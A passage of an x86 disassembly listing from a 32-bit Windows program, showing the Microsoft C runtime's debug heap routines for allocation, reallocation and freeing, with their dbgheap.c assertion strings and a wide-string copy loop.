[edx] mov [ecx], ax mov ecx, [ebp+var_4] xor edx, edx mov dx, [ecx] mov eax, [ebp+var_4] add eax, 2 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] add ecx, 2 mov [ebp+arg_4], ecx test edx, edx jz short loc_4169BD jmp short loc_416991 ; --------------------------------------------------------------------------- loc_4169BD: ; CODE XREF: sub_416970+49j mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_416970 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] mov [ebp-4], eax loc_4169DA: ; CODE XREF: .text:00416A04j mov ecx, [ebp-4] mov edx, [ebp+0Ch] mov ax, [edx] mov [ecx], ax mov ecx, [ebp-4] xor edx, edx mov dx, [ecx] mov eax, [ebp-4] add eax, 2 mov [ebp-4], eax mov ecx, [ebp+0Ch] add ecx, 2 mov [ebp+0Ch], ecx test edx, edx jz short loc_416A06 jmp short loc_4169DA ; --------------------------------------------------------------------------- loc_416A06: ; CODE XREF: .text:00416A02j mov eax, [ebp+8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A10 proc near ; CODE XREF: sub_40119E+220p ; sub_4013F1+C1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 0 push 1 mov eax, dword_4920E4 push eax mov ecx, [ebp+arg_0] push ecx call sub_416A80 add esp, 14h pop ebp retn sub_416A10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A30 proc near ; CODE XREF: sub_416E40+20p ; sub_416F00+26p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, dword_4920E4 push eax mov ecx, [ebp+arg_0] push ecx call sub_416A80 add esp, 14h pop ebp retn sub_416A30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A60 proc near ; CODE XREF: sub_41B010+9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_416A80 add esp, 14h pop ebp retn sub_416A60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A80 proc near ; CODE XREF: sub_416A10+13p ; sub_416A30+19p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx loc_416A84: ; CODE XREF: sub_416A80:loc_416AD8j push 9 call sub_41BC90 add esp, 4 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_0] push eax call sub_416B00 add esp, 10h mov [ebp+var_4], eax push 9 call sub_41BD30 add esp, 4 cmp [ebp+var_4], 0 jnz short loc_416ABF cmp [ebp+arg_4], 0 jnz short loc_416AC4 loc_416ABF: ; CODE XREF: sub_416A80+37j mov eax, [ebp+var_4] jmp short loc_416ADA ; --------------------------------------------------------------------------- loc_416AC4: ; CODE XREF: sub_416A80+3Dj mov ecx, [ebp+arg_0] push ecx call sub_41BB80 add esp, 4 test eax, eax jnz short loc_416AD8 xor eax, eax jmp short loc_416ADA ; --------------------------------------------------------------------------- loc_416AD8: ; CODE XREF: sub_416A80+52j jmp short loc_416A84 ; --------------------------------------------------------------------------- loc_416ADA: ; CODE XREF: sub_416A80+42j ; sub_416A80+56j mov esp, ebp pop ebp retn sub_416A80 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+8] push eax call sub_416B00 add esp, 10h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B00 proc near ; CODE XREF: sub_416A80+1Ep ; .text:00416AEDp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_C], 0 mov eax, dword_442C00 and eax, 4 test eax, eax jz short loc_416B4C loc_416B1C: ; CODE XREF: sub_416B00+4Aj call sub_417BD0 test eax, eax jnz short loc_416B46 push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 141h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_416B46 int 3 ; Trap to Debugger loc_416B46: ; CODE XREF: sub_416B00+23j ; sub_416B00+43j xor ecx, ecx test ecx, ecx jnz short loc_416B1C loc_416B4C: ; CODE XREF: sub_416B00+1Aj mov edx, dword_442C04 mov [ebp+var_8], edx mov eax, [ebp+var_8] cmp eax, dword_442C08 jnz short loc_416B61 int 3 ; Trap to Debugger loc_416B61: ; CODE XREF: sub_416B00+5Ej mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+var_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx push 0 push 1 call off_442D18 add esp, 1Ch test eax, eax jnz short loc_416BE4 cmp [ebp+arg_8], 0 jz short loc_416BB7 loc_416B8C: ; CODE XREF: sub_416B00+B3j mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push offset aClientHookAllo ; "Client hook allocation failure at file "... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 1Ch cmp eax, 1 jnz short loc_416BAF int 3 ; Trap to Debugger loc_416BAF: ; CODE XREF: sub_416B00+ACj xor edx, edx test edx, edx jnz short loc_416B8C jmp short loc_416BDD ; --------------------------------------------------------------------------- loc_416BB7: ; CODE XREF: sub_416B00+8Aj ; sub_416B00+DBj push offset aClientHookAl_0 ; "Client hook allocation failure.\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_416BD7 int 3 ; Trap to Debugger loc_416BD7: ; CODE XREF: sub_416B00+D4j xor eax, eax test eax, eax jnz short loc_416BB7 loc_416BDD: ; CODE XREF: sub_416B00+B5j xor eax, eax jmp loc_416E0C ; --------------------------------------------------------------------------- loc_416BE4: ; CODE XREF: sub_416B00+84j mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_416C06 mov edx, dword_442C00 and edx, 1 test edx, edx jnz short loc_416C06 mov [ebp+var_C], 1 loc_416C06: ; CODE XREF: sub_416B00+F0j ; sub_416B00+FDj cmp [ebp+arg_0], 0FFFFFFE0h ja short loc_416C17 mov eax, [ebp+arg_0] add eax, 24h cmp eax, 0FFFFFFE0h jbe short loc_416C43 loc_416C17: ; CODE XREF: sub_416B00+10Aj ; sub_416B00+13Aj mov ecx, [ebp+arg_0] push ecx push offset aInvalidAllocat ; "Invalid allocation size: %u bytes.\n" push 0 push 0 push 0 push 1 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_416C36 int 3 ; Trap to Debugger loc_416C36: ; CODE XREF: sub_416B00+133j xor edx, edx test edx, edx jnz short loc_416C17 xor eax, eax jmp loc_416E0C ; --------------------------------------------------------------------------- loc_416C43: ; CODE XREF: sub_416B00+115j mov eax, [ebp+arg_4] and eax, 0FFFFh cmp eax, 4 jz short loc_416C90 cmp [ebp+arg_4], 1 jz short loc_416C90 mov ecx, [ebp+arg_4] and ecx, 0FFFFh cmp ecx, 2 jz short loc_416C90 cmp [ebp+arg_4], 3 jz short loc_416C90 loc_416C6A: ; CODE XREF: sub_416B00+18Ej push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_34 ; "%s" push 0 push 0 push 0 push 1 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_416C8A int 3 ; Trap to Debugger loc_416C8A: ; CODE XREF: sub_416B00+187j xor edx, edx test edx, edx jnz short loc_416C6A loc_416C90: ; CODE XREF: sub_416B00+14Ej ; sub_416B00+154j ... mov eax, [ebp+arg_0] add eax, 24h mov [ebp+var_10], eax mov ecx, [ebp+var_10] push ecx call sub_41BDF0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_416CB5 xor eax, eax jmp loc_416E0C ; --------------------------------------------------------------------------- loc_416CB5: ; CODE XREF: sub_416B00+1ACj mov edx, dword_442C04 add edx, 1 mov dword_442C04, edx cmp [ebp+var_C], 0 jz short loc_416D13 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0 mov edx, [ebp+var_4] mov dword ptr [edx+8], 0 mov eax, [ebp+var_4] mov dword ptr [eax+0Ch], 0FEDCBABCh mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov dword ptr [eax+14h], 3 mov ecx, [ebp+var_4] mov dword ptr [ecx+18h], 0 jmp loc_416DB3 ; --------------------------------------------------------------------------- loc_416D13: ; CODE XREF: sub_416B00+1C8j mov edx, dword_492060 add edx, [ebp+arg_0] mov dword_492060, edx mov eax, dword_492068 add eax, [ebp+arg_0] mov dword_492068, eax mov ecx, dword_492068 cmp ecx, dword_49206C jbe short loc_416D49 mov edx, dword_492068 mov dword_49206C, edx loc_416D49: ; CODE XREF: sub_416B00+23Bj cmp dword_492064, 0 jz short loc_416D5F mov eax, dword_492064 mov ecx, [ebp+var_4] mov [eax+4], ecx jmp short loc_416D68 ; --------------------------------------------------------------------------- loc_416D5F: ; CODE XREF: sub_416B00+250j mov edx, [ebp+var_4] mov dword_49205C, edx loc_416D68: ; CODE XREF: sub_416B00+25Dj mov eax, [ebp+var_4] mov ecx, dword_492064 mov [eax], ecx mov edx, [ebp+var_4] mov dword ptr [edx+4], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov [eax+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+arg_C] mov [edx+0Ch], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [ecx+10h], edx mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov [eax+14h], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov [edx+18h], eax mov ecx, [ebp+var_4] mov dword_492064, ecx loc_416DB3: ; CODE XREF: sub_416B00+20Ej push 4 xor edx, edx mov dl, byte_442C0C push edx mov eax, [ebp+var_4] add eax, 1Ch push eax call sub_4189A0 add esp, 0Ch push 4 xor ecx, ecx mov cl, byte_442C0C push ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] lea ecx, [eax+edx+20h] push ecx call sub_4189A0 add esp, 0Ch mov edx, [ebp+arg_0] push edx xor eax, eax mov al, byte_442C0E push eax mov ecx, [ebp+var_4] add ecx, 20h push ecx call sub_4189A0 add esp, 0Ch mov eax, [ebp+var_4] add eax, 20h loc_416E0C: ; CODE XREF: sub_416B00+DFj ; sub_416B00+13Ej ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416B00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_416E40 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E40 proc near ; CODE XREF: .text:00416E31p ; sub_41F930+2Ep ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] imul eax, [ebp+arg_0] mov [ebp+arg_4], eax mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_416A30 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_416E99 mov edx, [ebp+var_8] mov [ebp+var_C], edx mov eax, [ebp+var_C] add eax, [ebp+arg_4] mov [ebp+var_4], eax loc_416E80: ; CODE XREF: sub_416E40+57j mov ecx, [ebp+var_C] cmp ecx, [ebp+var_4] jnb short loc_416E99 mov edx, [ebp+var_C] mov byte ptr [edx], 0 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_416E80 ; --------------------------------------------------------------------------- loc_416E99: ; CODE XREF: sub_416E40+2Fj ; sub_416E40+46j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EA0 proc near ; CODE XREF: sub_4041AA+2Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_416EC0 add esp, 14h pop ebp retn sub_416EA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EC0 proc near ; CODE XREF: sub_416EA0+11p ; sub_430740+1B7p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 9 call sub_41BC90 add esp, 4 push 1 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_416F00 add esp, 18h mov [ebp+var_4], eax push 9 call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_416EC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F00 proc near ; CODE XREF: sub_416EC0+24p ; sub_417440+24p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_14], 0 cmp [ebp+arg_0], 0 jnz short loc_416F33 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_416A30 add esp, 10h jmp loc_41740A ; --------------------------------------------------------------------------- loc_416F33: ; CODE XREF: sub_416F00+14j cmp [ebp+arg_14], 0 jz short loc_416F56 cmp [ebp+arg_4], 0 jnz short loc_416F56 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_0] push edx call sub_4174C0 add esp, 8 xor eax, eax jmp loc_41740A ; --------------------------------------------------------------------------- loc_416F56: ; CODE XREF: sub_416F00+37j ; sub_416F00+3Dj mov eax, dword_442C00 and eax, 4 test eax, eax jz short loc_416F92 loc_416F62: ; CODE XREF: sub_416F00+90j call sub_417BD0 test eax, eax jnz short loc_416F8C push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 239h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_416F8C int 3 ; Trap to Debugger loc_416F8C: ; CODE XREF: sub_416F00+69j ; sub_416F00+89j xor ecx, ecx test ecx, ecx jnz short loc_416F62 loc_416F92: ; CODE XREF: sub_416F00+60j mov edx, dword_442C04 mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, dword_442C08 jnz short loc_416FA7 int 3 ; Trap to Debugger loc_416FA7: ; CODE XREF: sub_416F00+A4j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax push 2 call off_442D18 add esp, 1Ch test eax, eax jnz short loc_41702C cmp [ebp+arg_C], 0 jz short loc_416FFF loc_416FD4: ; CODE XREF: sub_416F00+FBj mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx push offset aClientHookReAl ; "Client hook re-allocation failure at fi"... push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 1Ch cmp eax, 1 jnz short loc_416FF7 int 3 ; Trap to Debugger loc_416FF7: ; CODE XREF: sub_416F00+F4j xor eax, eax test eax, eax jnz short loc_416FD4 jmp short loc_417025 ; --------------------------------------------------------------------------- loc_416FFF: ; CODE XREF: sub_416F00+D2j ; sub_416F00+123j push offset aClientHookRe_0 ; "Client hook re-allocation failure.\n" push offset aS_34 ; "%s" push 0 push 0 push 0 push 0 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_41701F int 3 ; Trap to Debugger loc_41701F: ; CODE XREF: sub_416F00+11Cj xor ecx, ecx test ecx, ecx jnz short loc_416FFF loc_417025: ; CODE XREF: sub_416F00+FDj xor eax, eax jmp loc_41740A ; --------------------------------------------------------------------------- loc_41702C: ; CODE XREF: sub_416F00+CCj cmp [ebp+arg_4], 0FFFFFFDBh jbe short loc_41705E loc_417032: ; CODE XREF: sub_416F00+155j mov edx, [ebp+arg_4] push edx push offset aAllocationTooL ; "Allocation too large or negative: %u by"... push 0 push 0 push 0 push 1 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_417051 int 3 ; Trap to Debugger loc_417051: ; CODE XREF: sub_416F00+14Ej xor eax, eax test eax, eax jnz short loc_417032 xor eax, eax jmp loc_41740A ; --------------------------------------------------------------------------- loc_41705E: ; CODE XREF: sub_416F00+130j cmp [ebp+arg_8], 1 jz short loc_4170A6 mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 4 jz short loc_4170A6 mov edx, [ebp+arg_8] and edx, 0FFFFh cmp edx, 2 jz short loc_4170A6 loc_417080: ; CODE XREF: sub_416F00+1A4j push offset aErrorMemoryAll ; "Error: memory allocation: bad memory bl"... push offset aS_34 ; "%s" push 0 push 0 push 0 push 1 call sub_41BF80 add esp, 18h cmp eax, 1 jnz short loc_4170A0 int 3 ; Trap to Debugger loc_4170A0: ; CODE XREF: sub_416F00+19Dj xor eax, eax test eax, eax jnz short loc_417080 loc_4170A6: ; CODE XREF: sub_416F00+162j ; sub_416F00+170j ... mov ecx, [ebp+arg_0] push ecx call sub_418030 add esp, 4 test eax, eax jnz short loc_4170D7 push offset a_crtisvalidhea ; "_CrtIsValidHeapPointer(pUserData)" push 0 push 261h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4170D7 int 3 ; Trap to Debugger loc_4170D7: ; CODE XREF: sub_416F00+1B4j ; sub_416F00+1D4j xor edx, edx test edx, edx jnz short loc_4170A6 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+var_8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+14h], 3 jnz short loc_4170F6 mov [ebp+var_14], 1 loc_4170F6: ; CODE XREF: sub_416F00+1EDj cmp [ebp+var_14], 0 jz short loc_41713A loc_4170FC: ; CODE XREF: sub_416F00+236j mov edx, [ebp+var_8] cmp dword ptr [edx+0Ch], 0FEDCBABCh jnz short loc_417111 mov eax, [ebp+var_8] cmp dword ptr [eax+18h], 0 jz short loc_417132 loc_417111: ; CODE XREF: sub_416F00+206j push offset aPoldblockNline ; "pOldBlock->nLine == IGNORE_LINE && pOld"... push 0 push 26Bh push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417132 int 3 ; Trap to Debugger loc_417132: ; CODE XREF: sub_416F00+20Fj ; sub_416F00+22Fj xor ecx, ecx test ecx, ecx jnz short loc_4170FC jmp short loc_41719E ; --------------------------------------------------------------------------- loc_41713A: ; CODE XREF: sub_416F00+1FAj mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh cmp eax, 2 jnz short loc_41715F mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp ecx, 1 jnz short loc_41715F mov [ebp+arg_8], 2 loc_41715F: ; CODE XREF: sub_416F00+248j ; sub_416F00+256j ... mov edx, [ebp+var_8] mov eax, [edx+14h] and eax, 0FFFFh mov ecx, [ebp+arg_8] and ecx, 0FFFFh cmp eax, ecx jz short loc_417198 push offset a_block_typePol ; "_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLO"... push 0 push 272h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417198 int 3 ; Trap to Debugger loc_417198: ; CODE XREF: sub_416F00+275j ; sub_416F00+295j xor edx, edx test edx, edx jnz short loc_41715F loc_41719E: ; CODE XREF: sub_416F00+238j cmp [ebp+arg_14], 0 jz short loc_4171C9 mov eax, [ebp+arg_4] add eax, 24h push eax mov ecx, [ebp+var_8] push ecx call sub_41C6D0 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4171C7 xor eax, eax jmp loc_41740A ; --------------------------------------------------------------------------- loc_4171C7: ; CODE XREF: sub_416F00+2BEj jmp short loc_4171EC ; --------------------------------------------------------------------------- loc_4171C9: ; CODE XREF: sub_416F00+2A2j mov edx, [ebp+arg_4] add edx, 24h push edx mov eax, [ebp+var_8] push eax call sub_41C620 add esp, 8 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_4171EC xor eax, eax jmp loc_41740A ; --------------------------------------------------------------------------- loc_4171EC: ; CODE XREF: sub_416F00:loc_4171C7j ; sub_416F00+2E3j mov ecx, dword_442C04 add ecx, 1 mov dword_442C04, ecx cmp [ebp+var_14], 0 jnz short loc_417257 mov edx, [ebp+var_C] mov eax, dword_492060 sub eax, [edx+10h] mov dword_492060, eax mov ecx, dword_492060 add ecx, [ebp+arg_4] mov dword_492060, ecx mov edx, [ebp+var_C] mov eax, dword_492068 sub eax, [edx+10h] mov dword_492068, eax mov ecx, dword_492068 add ecx, [ebp+arg_4] mov dword_492068, ecx mov edx, dword_492068 cmp edx, dword_49206C jbe short loc_417257 mov eax, dword_492068 mov dword_49206C, eax loc_417257: ; CODE XREF: sub_416F00+2FFj ; sub_416F00+34Bj mov ecx, [ebp+var_C] add ecx, 20h mov [ebp+var_4], ecx mov edx, [ebp+var_C] mov eax, [ebp+arg_4] cmp eax, [edx+10h] jbe short loc_41728F mov ecx, [ebp+var_C] mov edx, [ebp+arg_4] sub edx, [ecx+10h] push edx xor eax, eax mov al, byte_442C0E push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_4] add edx, [ecx+10h] push edx call sub_4189A0 add esp, 0Ch loc_41728F: ; CODE XREF: sub_416F00+369j push 4 xor eax, eax mov al, byte_442C0C push eax mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] push ecx call sub_4189A0 add esp, 0Ch cmp [ebp+var_14], 0 jnz short loc_4172C9 mov edx, [ebp+var_C] mov eax, [ebp+arg_C] mov [edx+8], eax mov ecx, [ebp+var_C] mov edx, [ebp+arg_10] mov [ecx+0Ch], edx mov eax, [ebp+var_C] mov ecx, [ebp+var_10] mov [eax+18h], ecx loc_4172C9: ; CODE XREF: sub_416F00+3ACj mov edx, [ebp+var_C] mov eax, [ebp+arg_4] mov [edx+10h], eax loc_4172D2: ; CODE XREF: sub_416F00+40Bj cmp [ebp+arg_14], 0 jnz short loc_417307 cmp [ebp+arg_14], 0 jnz short loc_4172E6 mov ecx, [ebp+var_C] cmp ecx, [ebp+var_8] jz short loc_417307 loc_4172E6: ; CODE XREF: sub_416F00+3DCj push offset aFreallocFreall ; "fRealloc || (!fRealloc && pNewBlock == "... push 0 push 2A8h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417307 int 3 ; Trap to Debugger loc_417307: ; CODE XREF: sub_416F00+3D6j ; sub_416F00+3E4j ... xor edx, edx test edx, edx jnz short loc_4172D2 mov eax, [ebp+var_C] cmp eax, [ebp+var_8] jz short loc_41731B cmp [ebp+var_14], 0 jz short loc_417323 loc_41731B: ; CODE XREF: sub_416F00+413j mov eax, [ebp+var_4] jmp loc_41740A ; --------------------------------------------------------------------------- loc_417323: ; CODE XREF: sub_416F00+419j mov ecx, [ebp+var_C] cmp dword ptr [ecx], 0 jz short loc_41733B mov edx, [ebp+var_C] mov eax, [edx] mov ecx, [ebp+var_C] mov edx, [ecx+4] mov [eax+4], edx jmp short loc_417377 ; --------------------------------------------------------------------------- loc_41733B: ; CODE XREF: sub_416F00+429j ; sub_416F00+46Aj mov eax, dword_49205C cmp eax, [ebp+var_8] jz short loc_417366 push offset a_plastblockPol ; "_pLastBlock == pOldBlock" push 0 push 2B7h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_417366 int 3 ; Trap to Debugger loc_417366: ; CODE XREF: sub_416F00+443j ; sub_416F00+463j xor ecx, ecx test ecx, ecx jnz short loc_41733B mov edx, [ebp+var_C] mov eax, [edx+4] mov dword_49205C, eax loc_417377: ; CODE XREF: sub_416F00+439j mov ecx, [ebp+var_C] cmp dword ptr [ecx+4], 0 jz short loc_41738F mov edx, [ebp+var_C] mov eax, [edx+4] mov ecx, [ebp+var_C] mov edx, [ecx] mov [eax], edx jmp short loc_4173CA ; --------------------------------------------------------------------------- loc_41738F: ; CODE XREF: sub_416F00+47Ej ; sub_416F00+4BEj mov eax, dword_492064 cmp eax, [ebp+var_8] jz short loc_4173BA push offset a_pfirstblockPo ; "_pFirstBlock == pOldBlock" push 0 push 2C2h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_4173BA int 3 ; Trap to Debugger loc_4173BA: ; CODE XREF: sub_416F00+497j ; sub_416F00+4B7j xor ecx, ecx test ecx, ecx jnz short loc_41738F mov edx, [ebp+var_C] mov eax, [edx] mov dword_492064, eax loc_4173CA: ; CODE XREF: sub_416F00+48Dj cmp dword_492064, 0 jz short loc_4173E1 mov ecx, dword_492064 mov edx, [ebp+var_C] mov [ecx+4], edx jmp short loc_4173E9 ; --------------------------------------------------------------------------- loc_4173E1: ; CODE XREF: sub_416F00+4D1j mov eax, [ebp+var_C] mov dword_49205C, eax loc_4173E9: ; CODE XREF: sub_416F00+4DFj mov ecx, [ebp+var_C] mov edx, dword_492064 mov [ecx], edx mov eax, [ebp+var_C] mov dword ptr [eax+4], 0 mov ecx, [ebp+var_C] mov dword_492064, ecx mov eax, [ebp+var_4] loc_41740A: ; CODE XREF: sub_416F00+2Ej ; sub_416F00+51j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416F00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_417440 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417440 proc near ; CODE XREF: .text:00417431p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push 9 call sub_41BC90 add esp, 4 push 0 mov eax, [ebp+arg_10] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_416F00 add esp, 18h mov [ebp+var_4], eax push 9 call sub_41BD30 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_417440 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417480 proc near ; CODE XREF: sub_4013F1+10Ep ; sub_4013F1+116p ... arg_0 = dword ptr 8 push ebp mov ebp, esp push 1 mov eax, [ebp+arg_0] push eax call sub_4174C0 add esp, 8 pop ebp retn sub_417480 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 1 mov eax, [ebp+8] push eax call sub_4174F0 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174C0 proc near ; CODE XREF: sub_416F00+47p ; sub_417480+9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push 9 call sub_41BC90 add esp, 4 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4174F0 add esp, 8 push 9 call sub_41BD30 add esp, 4 pop ebp retn sub_4174C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174F0 proc near ; CODE XREF: .text:004174A9p ; sub_4174C0+15p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, dword_442C00 and eax, 4 test eax, eax jz short loc_417533 loc_417503: ; CODE XREF: sub_4174F0+41j call sub_417BD0 test eax, eax jnz short loc_41752D push offset a_crtcheckmemor ; "_CrtCheckMemory()" push 0 push 3E1h push offset aDbgheap_c ; "dbgheap.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_41752D 